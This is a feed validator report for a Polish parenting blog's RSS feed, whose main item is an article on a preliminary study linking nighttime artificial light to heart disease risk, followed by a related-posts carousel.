FEED Validator

Congratulations!

This is a valid RSS feed.

Recommendations

This feed is valid, but interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

• line 135, column 0: content:encoded should not contain script tag (9 occurrences) [help]

• line 138, column 0: content:encoded should not contain data-total attribute (7 occurrences) [help]

• line 141, column 0: content:encoded should not contain fetchpriority attribute (4 occurrences) [help]

  												<article class="uagb-post__inner-wrap">								<div class='uagb- ...
  

• line 141, column 0: content:encoded should not contain decoding attribute (136 occurrences) [help]

  												<article class="uagb-post__inner-wrap">								<div class='uagb- ...
  

• line 141, column 0: content:encoded should not contain sizes attribute (136 occurrences) [help]

  												<article class="uagb-post__inner-wrap">								<div class='uagb- ...
  

• line 180, column 0: content:encoded should not contain loading attribute (128 occurrences) [help]

  																<article class="uagb-post__inner-wrap">								<div class='u ...
  

• line 773, column 0: content:encoded should not contain data-secret attribute (3 occurrences) [help]

  <figure class="wp-block-embed is-type-wp-embed is-provider-przystanek-rodzin ...
  

• line 773, column 0: content:encoded should not contain iframe tag (4 occurrences) [help]

  <figure class="wp-block-embed is-type-wp-embed is-provider-przystanek-rodzin ...
  

• line 1131, column 0: content:encoded should not contain data-wp-context attribute (6 occurrences) [help]

• line 1131, column 0: content:encoded should not contain data-wp-interactive attribute (6 occurrences) [help]

• line 1131, column 0: content:encoded should not contain data-wp-class--hide attribute (6 occurrences) [help]

• line 1131, column 0: content:encoded should not contain data-wp-class--show attribute (6 occurrences) [help]

• line 1131, column 0: content:encoded should not contain data-wp-init attribute (12 occurrences) [help]

• line 1131, column 0: content:encoded should not contain data-wp-on-async--click attribute (12 occurrences) [help]

• line 1131, column 0: content:encoded should not contain data-wp-on-async--load attribute (6 occurrences) [help]

• line 1131, column 0: content:encoded should not contain data-wp-on-async-window--resize attribute (6 occurrences) [help]

• line 1131, column 0: content:encoded should not contain aria-haspopup attribute (6 occurrences) [help]

• line 1131, column 0: content:encoded should not contain aria-label attribute (6 occurrences) [help]

• line 1131, column 0: content:encoded should not contain data-wp-style--right attribute (6 occurrences) [help]

• line 1131, column 0: content:encoded should not contain data-wp-style--top attribute (6 occurrences) [help]

• line 1141, column 0: Non-html tag: svg (12 occurrences) [help]

  		>
  

• line 1933, column 0: content:encoded should not contain data-bb-id attribute (2 occurrences) [help]

  <script src="https://buybox.click/js/widget.min.js"></script>
  

• line 1933, column 0: content:encoded should not contain data-bb-oid attribute (2 occurrences) [help]

  <script src="https://buybox.click/js/widget.min.js"></script>
  

Source: https://przystanekrodzinka.pl/feed/

1. <?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
2. xmlns:content="http://purl.org/rss/1.0/modules/content/"
3. xmlns:wfw="http://wellformedweb.org/CommentAPI/"
4. xmlns:dc="http://purl.org/dc/elements/1.1/"
5. xmlns:atom="http://www.w3.org/2005/Atom"
6. xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
7. xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
8. >
9.  
10. <channel>
11. <title>Przystanek Rodzinka &#8211; blog parentingowy o dzieciach okiem logopedki</title>
12. <atom:link href="https://przystanekrodzinka.pl/feed/" rel="self" type="application/rss+xml" />
13. <link>https://przystanekrodzinka.pl/</link>
14. <description></description>
15. <lastBuildDate>Thu, 06 Nov 2025 07:56:11 +0000</lastBuildDate>
16. <language>pl-PL</language>
17. <sy:updatePeriod>
18. hourly </sy:updatePeriod>
19. <sy:updateFrequency>
20. 1 </sy:updateFrequency>
21. <generator>https://wordpress.org/?v=6.8.3</generator>
22. <item>
23. <title>Światło w sypialni szkodzi sercu dziecka</title>
24. <link>https://przystanekrodzinka.pl/swiatlo-w-sypialni-szkodzi-sercu-dziecka/</link>
26. <dc:creator><![CDATA[Maria Rybak]]></dc:creator>
27. <pubDate>Fri, 07 Nov 2025 12:22:03 +0000</pubDate>
28. <category><![CDATA[aktualnosci]]></category>
29. <guid isPermaLink="false">https://przystanekrodzinka.pl/?p=86812</guid>
30.  
31. <description><![CDATA[<p>Sztuczne światło nocą – od latarni za oknem po świecący tablet w sypialni – uruchamia w mózgu sygnały stresowe, które zapalają naczynia krwionośne i zwiększają ryzyko chorób serca. Badacze z Massachusetts General Hospital po raz pierwszy połączyli obrazowanie mózgu z pomiarami satelitarnymi i odkryli niemal liniową zależność: im więcej światła w nocy, tym wyższe ryzyko. Dobra wiadomość? Da się temu zaradzić prostymi zmianami. Co to oznacza dla snu Twojego dziecka?</p>
32. <p>Artykuł <a href="https://przystanekrodzinka.pl/swiatlo-w-sypialni-szkodzi-sercu-dziecka/">Światło w sypialni szkodzi sercu dziecka</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
33. ]]></description>
34. <content:encoded><![CDATA[
35. <p class="has-ast-global-color-6-background-color has-background">Wieczorne światło w sypialni dziecka – od migoczącego ekranu tabletu po blask latarni za oknem – może być cichym zagrożeniem dla jego serca. Wstępna analiza przedstawiona na konferencji American Heart Association&#8217;s Scientific Sessions 2025 pokazuje, że większa ekspozycja na sztuczne światło nocą wiąże się z wyższymi sygnałami stresowymi w mózgu, stanem zapalnym naczyń krwionośnych i zwiększonym ryzykiem chorób serca.</p>
36.  
37.  
38.  
39. <h2 class="wp-block-heading">Czym jest zanieczyszczenie światłem i dlaczego dotyczy nas wszystkich</h2>
40.  
41.  
42.  
43. <p>Badacze opisują sztuczne światło nocą – często nazywane zanieczyszczeniem świetlnym – jako niemal uniwersalny element współczesnych środowisk miejskich. To pionierska praca połączyła obrazowanie mózgu z pomiarami satelitarnymi, aby nakreślić biologiczny mechanizm łączący nocną jasność z ryzykiem chorób serca.</p>
44.  
45.  
46.  
47. <p>&#8220;Wiemy, że czynniki środowiskowe, takie jak zanieczyszczenie powietrza czy hałas, mogą prowadzić do chorób serca, wpływając na nasze nerwy i naczynia krwionośne poprzez stres. Zanieczyszczenie światłem jest bardzo powszechne, jednak niewiele wiemy o tym, jak wpływa na serce&#8221; – wyjaśnia dr Shady Abohashem, kierownik badań obrazowania serca w Massachusetts General Hospital i wykładowca w Harvard Medical School w Bostonie.</p>
48.  
49.  
50.  
51. <h2 class="wp-block-heading">Jak badano wpływ nocnego światła na organizm</h2>
52.  
53.  
54.  
55. <p>W badaniu wzięło udział 450 dorosłych bez chorób serca i aktywnego nowotworu. Wszyscy przeszli ten sam skan łączony – pozytonową tomografię emisyjną z tomografią komputerową (PET/CT). &#8220;To rutynowe badanie obrazowe w moim szpitalu&#8221; – mówi Abohashem. &#8220;Część CT dostarcza szczegółowej anatomii, podczas gdy część PET ujawnia aktywność metaboliczną w tkankach. Użycie obu technik obrazowania razem pozwala na pomiar aktywności stresowej mózgu i stanu zapalnego tętnic w jednym skanie.&#8221;</p>
56.  
57.  
58.  
59. <p>To pierwszy tego typu projekt, który łączy tak zaawansowane narzędzia diagnostyczne z danymi satelitarnymi o natężeniu światła nocą w miejscu zamieszkania uczestników.</p>
60.  
61.  
62.  
63. <h2 class="wp-block-heading">Im więcej światła w nocy, tym wyższe ryzyko dla serca</h2>
64.  
65.  
66.  
67. <p>&#8220;Odkryliśmy niemal liniową zależność między nocnym światłem a chorobami serca: im więcej ekspozycji na światło nocą, tym wyższe ryzyko. Nawet umiarkowane zwiększenie nocnego światła wiązało się z wyższym stresem mózgu i tętnic&#8221; – wyjaśnia Abohashem. Gdy mózg odbiera stres, aktywuje sygnały, które mogą uruchomić odpowiedź immunologiczną i wywołać stan zapalny naczyń krwionośnych. Z czasem ten proces może przyczynić się do twardnienia tętnic i zwiększyć ryzyko zawału serca oraz udaru.</p>
68.  
69.  
70.  
71. <p>Mechanizm jest jasny: światło nocą działa jak cichy stresor środowiskowy. Mózg reaguje na niego podobnie jak na inne zagrożenia, uruchamiając kaskadę reakcji obobronnych. Problem w tym, że ta obrona – gdy trwa przewlekle – zamienia się w uszkodzenie.</p>
72.  
73.  
74.  
75. <h2 class="wp-block-heading">Co możemy zrobić, aby chronić serce dziecka</h2>
76.  
77.  
78.  
79. <p>Abohashem sugeruje, że miasta mogłyby ograniczyć niepotrzebne oświetlenie zewnętrzne, osłonić latarnie uliczne lub używać lamp z czujnikami ruchu. Na poziomie osobistym rodzice mogą ograniczyć wewnętrzne światło nocne, utrzymując sypialnie w ciemności i unikając ekranów telewizorów oraz urządzeń elektronicznych przed snem.</p>
80.  
81.  
82.  
83. <p>&#8220;Te odkrycia są nowatorskie i dodają dowodów sugerujących, że ograniczenie ekspozycji na nadmierne sztuczne światło nocą jest problemem zdrowia publicznego&#8221; – powiedział dr Julio Fernandez-Mendoza, członek komitetu piszącego stanowisko naukowe American Heart Association na temat wielowymiarowego zdrowia snu.</p>
84.  
85.  
86.  
87. <h2 class="wp-block-heading">Dlaczego zegar biologiczny ma znaczenie dla serca</h2>
88.  
89.  
90.  
91. <p>W ostatnim tygodniu października American Heart Association wydało stanowisko naukowe dotyczące roli zdrowia okołodobowego w zdrowiu kardiometabolicznym. Nowe stanowisko wskazuje również, że zanieczyszczenie światłem jest głównym czynnikiem zakłócającym zegary biologiczne organizmu. Światło nocą może tłumić melatoninę, opóźniać zasypianie, a nawet przy niskich poziomach wiąże się ze zwiększonym ryzykiem chorób sercowo-naczyniowych.</p>
92.  
93.  
94.  
95. <p>&#8220;Wiemy, że zbyt duża ekspozycja na sztuczne światło nocą może szkodzić zdrowiu, szczególnie zwiększając ryzyko chorób serca. Jednak nie wiedzieliśmy, jak ta szkoda powstaje&#8221; – mówi Fernandez-Mendoza, profesor psychiatrii, neuronauki i nauk o zdrowiu publicznym oraz dyrektor medycyny snu behawioralnego w Pennsylvania State University College of Medicine. &#8220;To badanie zbadało jedną z kilku możliwych przyczyn, którą jest sposób, w jaki nasz mózg reaguje na stres. Ta reakcja wydaje się odgrywać dużą rolę w łączeniu sztucznego światła nocą z chorobami serca.&#8221;</p>
96.  
97.  
98.  
99. <h2 class="wp-block-heading">Mocne strony i ograniczenia badania</h2>
100.  
101.  
102.  
103. <p>Badanie miało kilka mocnych stron, w tym wykorzystanie najnowocześniejszego obrazowania PET/CT do pomiaru stresu mózgu i stanu zapalnego tętnic, połączonego z danymi satelitarnymi o świetle i długoterminową obserwacją zdarzeń sercowych. Jednak ma również ograniczenia. Co istotne, jest to badanie obserwacyjne – analiza wcześniej zebranych informacji – dlatego nie może udowodnić bezpośredniego związku przyczynowo-skutkowego między badanymi zmiennymi. Po drugie, badanie obejmowało uczestników otrzymujących opiekę zdrowotną w tylko jednym systemie szpitalnym, co oznacza, że grupa może nie reprezentować różnorodnej populacji, a wyniki nie mogą być uogólnione na większą grupę.</p>
104.  
105.  
106.  
107. <h2 class="wp-block-heading">Co dalej z badaniami nad światłem nocnym</h2>
108.  
109.  
110.  
111. <p>&#8220;To badanie wskazuje, że zanieczyszczenie światłem to coś więcej niż tylko irytacja; może również zwiększać ryzyko chorób serca. Mamy nadzieję, że klinicyści i decydenci będą uwzględniać ekspozycję na światło nocne podczas opracowywania strategii prewencyjnych&#8221; – mówi Abohashem. Zespół planuje rozszerzyć tę pracę na większe, bardziej zróżnicowane populacje, przetestować interwencje redukujące światło nocne i zbadać, jak zmniejszenie ekspozycji na światło może poprawić zdrowie serca.</p>
112.  
113.  
114.  
115. <p>Warto pamiętać, że przedstawione badanie to analiza wstępna prezentowana na konferencji naukowej. Abstrakty prezentowane na spotkaniach naukowych American Heart Association nie przechodzą recenzji naukowej, a wyniki są uważane za wstępne do czasu publikacji jako pełne rękopisy w recenzowanym czasopiśmie naukowym.</p>
116.  
117.  
118.  
119. <h2 class="wp-block-heading">Co to oznacza dla Twojej rodziny</h2>
120.  
121.  
122.  
123. <p>Choć badanie dotyczyło dorosłych, jego implikacje sięgają znacznie dalej. Dzieci są szczególnie wrażliwe na zakłócenia rytmu dobowego, ponieważ ich organizmy wciąż się rozwijają. Zdrowy sen to fundament rozwoju mózgu, regulacji emocji i uczenia się – obszarów, które logopedzi obserwują każdego dnia w gabinecie. Dziecko, które nie wysypia się przez chroniczne ekspozycje na światło nocą, może mieć trudności z koncentracją, zapamiętywaniem nowych słów czy regulowaniem zachowania.</p>
124.  
125.  
126.  
127. <p>Proste zmiany mogą przynieść realne korzyści. Ciemne rolety, wyłączone lampki nocne, telefony zostawione poza sypialnią – to małe kroki, które chronią nie tylko sen, ale i długoterminowe zdrowie serca Twojego dziecka. Warto o tym pamiętać, gdy kolejny raz zastanawiasz się, czy zostawić otwarte drzwi z korytarza czy pozwolić na tablet przed snem.</p>
128.  
129.  
130.  
131. <blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
132. <p><a href="https://newsroom.heart.org/news/exposure-to-more-artificial-light-at-night-may-raise-heart-disease-risk?preview=ec13cf86f4623cd1aedd4fbe590abc4e">Więcej informacji</a></p>
133. </blockquote>
134.  
135.  
136. <div class="convertkit-form wp-block-convertkit-form" style=""><script async data-uid="67519e85f9" src="https://przystanekrodzinka.kit.com/67519e85f9/index.js" data-jetpack-boost="ignore" data-no-defer="1" nowprocket></script></div>
137.  
138.  
139. <div class="wp-block-uagb-post-carousel uagb-post-grid  uagb-post__image-position-top uagb-post__image-enabled uagb-block-related-posts     uagb-post__arrow-outside uagb-slick-carousel uagb-post__items uagb-post__columns-2 is-carousel uagb-post__columns-tablet-2 uagb-post__columns-mobile-1 uagb-post__carousel_equal-height" data-total="2" style="">
140.  
141. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
142. <a href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer"><img fetchpriority="high" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="smoothie a wchłanianie składników odżywczych" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
143. </div>
144. <h4 class="uagb-post__title uagb-post__text">
145. <a href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer">Banan w smoothie blokuje wchłanianie flawanoli o 84%</a>
146. </h4>
147. <div class='uagb-post__text uagb-post-grid-byline'>
148. </div>
149. <div class="uagb-post__text uagb-post__cta wp-block-button">
150. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
151. </div>
153. </article>
154. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
155. <a href="https://przystanekrodzinka.pl/zywnosc-ultra-przetworzona-zmiany-w-mozgu/" target="_self" rel="bookmark noopener noreferrer"><img decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu-768x432.jpeg" class="attachment-medium_large size-medium_large" alt="zywnosc ultra przetworzona zmiany w mozgu" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu-768x432.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu-300x169.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu-1024x576.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu-1536x864.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
156. </div>
157. <h4 class="uagb-post__title uagb-post__text">
158. <a href="https://przystanekrodzinka.pl/zywnosc-ultra-przetworzona-zmiany-w-mozgu/" target="_self" rel="bookmark noopener noreferrer">Żywność ultra przetworzona zmienia strukturę mózgu</a>
159. </h4>
160. <div class='uagb-post__text uagb-post-grid-byline'>
161. </div>
162. <div class="uagb-post__text uagb-post__cta wp-block-button">
163. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/zywnosc-ultra-przetworzona-zmiany-w-mozgu/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
164. </div>
166. </article>
167. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
168. <a href="https://przystanekrodzinka.pl/szosty-zmysl-interocepcja-atlas-cialo-mozg/" target="_self" rel="bookmark noopener noreferrer"><img decoding="async" width="768" height="509" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu-768x509.jpg" class="attachment-medium_large size-medium_large" alt="selective focus phot of artificial human skull" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu-768x509.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu-300x199.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu-1024x678.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu-1536x1018.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/rmwtvqn5rzu.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
169. </div>
170. <h4 class="uagb-post__title uagb-post__text">
171. <a href="https://przystanekrodzinka.pl/szosty-zmysl-interocepcja-atlas-cialo-mozg/" target="_self" rel="bookmark noopener noreferrer">Szósty zmysł: jak mózg kontroluje oddech i trawienie</a>
172. </h4>
173. <div class='uagb-post__text uagb-post-grid-byline'>
174. </div>
175. <div class="uagb-post__text uagb-post__cta wp-block-button">
176. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/szosty-zmysl-interocepcja-atlas-cialo-mozg/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
177. </div>
179. </article>
180. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
181. <a href="https://przystanekrodzinka.pl/jak-mozg-wybiera-wspomnienia-do-zapamietania/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58-768x512.jpg" class="attachment-medium_large size-medium_large" alt="A wooden block spelling memory on a table" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
182. </div>
183. <h4 class="uagb-post__title uagb-post__text">
184. <a href="https://przystanekrodzinka.pl/jak-mozg-wybiera-wspomnienia-do-zapamietania/" target="_self" rel="bookmark noopener noreferrer">Dlaczego dziecko pamięta jedne chwile, a inne zapomina?</a>
185. </h4>
186. <div class='uagb-post__text uagb-post-grid-byline'>
187. </div>
188. <div class="uagb-post__text uagb-post__cta wp-block-button">
189. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/jak-mozg-wybiera-wspomnienia-do-zapamietania/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
190. </div>
192. </article>
193. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
194. <a href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="wspomnienia z dzieciństwa jak odzyskać" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
195. </div>
196. <h4 class="uagb-post__title uagb-post__text">
197. <a href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer">Jak odblokować zapomniane wspomnienia z wczesnego dzieciństwa</a>
198. </h4>
199. <div class='uagb-post__text uagb-post-grid-byline'>
200. </div>
201. <div class="uagb-post__text uagb-post__cta wp-block-button">
202. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
203. </div>
205. </article>
206. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
207. <a href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="513" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-768x513.jpg" class="attachment-medium_large size-medium_large" alt="orange and white medication pill" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-768x513.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-1024x684.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-1536x1025.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
208. </div>
209. <h4 class="uagb-post__title uagb-post__text">
210. <a href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer">ADHD u małych dzieci: większość dostaje leki za wcześnie</a>
211. </h4>
212. <div class='uagb-post__text uagb-post-grid-byline'>
213. </div>
214. <div class="uagb-post__text uagb-post__cta wp-block-button">
215. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
216. </div>
218. </article>
219. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
220. <a href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-768x512.jpg" class="attachment-medium_large size-medium_large" alt="a person lying on a bed with a tablet" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
221. </div>
222. <h4 class="uagb-post__title uagb-post__text">
223. <a href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer">Smartfon przed 13. rokiem życia a zdrowie psychiczne</a>
224. </h4>
225. <div class='uagb-post__text uagb-post-grid-byline'>
226. </div>
227. <div class="uagb-post__text uagb-post__cta wp-block-button">
228. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
229. </div>
231. </article>
232. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
233. <a href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-768x432.webp" class="attachment-medium_large size-medium_large" alt="zywy slimak poza cialem mechanizmy sluchu" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-768x432.webp 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-300x169.webp 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-1024x576.webp 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-1536x864.webp 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu.webp 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
234. </div>
235. <h4 class="uagb-post__title uagb-post__text">
236. <a href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer">Żywy ślimak poza ciałem pokazuje, jak działa słuch</a>
237. </h4>
238. <div class='uagb-post__text uagb-post-grid-byline'>
239. </div>
240. <div class="uagb-post__text uagb-post__cta wp-block-button">
241. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
242. </div>
244. </article>
245. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
246. <a href="https://przystanekrodzinka.pl/dieta-ketogeniczna-chroni-przed-stresem-prenatalnym/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-768x512.jpg" class="attachment-medium_large size-medium_large" alt="woman in white lace sleeveless dress standing beside brown wooden crib" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
247. </div>
248. <h4 class="uagb-post__title uagb-post__text">
249. <a href="https://przystanekrodzinka.pl/dieta-ketogeniczna-chroni-przed-stresem-prenatalnym/" target="_self" rel="bookmark noopener noreferrer">Dieta tłuszczowa chroni dzieci przed skutkami stresu w ciąży</a>
250. </h4>
251. <div class='uagb-post__text uagb-post-grid-byline'>
252. </div>
253. <div class="uagb-post__text uagb-post__cta wp-block-button">
254. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/dieta-ketogeniczna-chroni-przed-stresem-prenatalnym/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
255. </div>
257. </article>
258. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
259. <a href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="Creative illustration highlighting ADHD awareness with colorful brain imagery." srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
260. </div>
261. <h4 class="uagb-post__title uagb-post__text">
